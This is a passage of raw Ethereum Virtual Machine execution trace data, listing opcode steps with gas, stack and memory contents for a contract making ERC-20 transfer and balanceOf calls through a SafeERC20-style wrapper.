d6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":6717,"op":"POP","gas":31490,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":6718,"op":"JUMP","gas":31488,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2600,"op":"JUMPDEST","gas":31480,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2601,"op":"DUP8","gas":31479,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2602,"op":"ISZERO","gas":31476,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2603,"op":"PUSH2","gas":31473,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2606,"op":"JUMPI","gas":31470,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0xa42"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2626,"op":"JUMPDEST","gas":31460,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2627,"op":"PUSH1","gas":31459,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2629,"op":"MLOAD","gas":31456,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2630,"op":"PUSH4","gas":31453,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2635,"op":"PUSH1","gas":31450,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2637,"op":"SHL","gas":31447,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x70a08231","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2638,"op":"DUP2","gas":31444,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x70a0823100000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2639,"op":"MSTORE","gas":31441,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x70a0823100000000000000000000000000000000000000000000000000000000","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2640,"op":"ADDRESS","gas":31438,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a08231000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2641,"op":"PUSH1","gas":31436,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a08231000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2643,"op":"DUP3","gas":31433,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a08231000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2644,"op":"ADD","gas":31430,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a08231000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2645,"op":"MSTORE","gas":31427,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x168"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a08231000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":2646,"op":"PUSH1","gas":31424,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2648,"op":"PUSH1","gas":31421,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2650,"op":"PUSH1","gas":31418,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2652,"op":"SHL","gas":31415,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2653,"op":"SUB","gas":31412,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2654,"op":"DUP4","gas":31409,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2655,"op":"AND","gas":31406,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0xfffffffffffffffff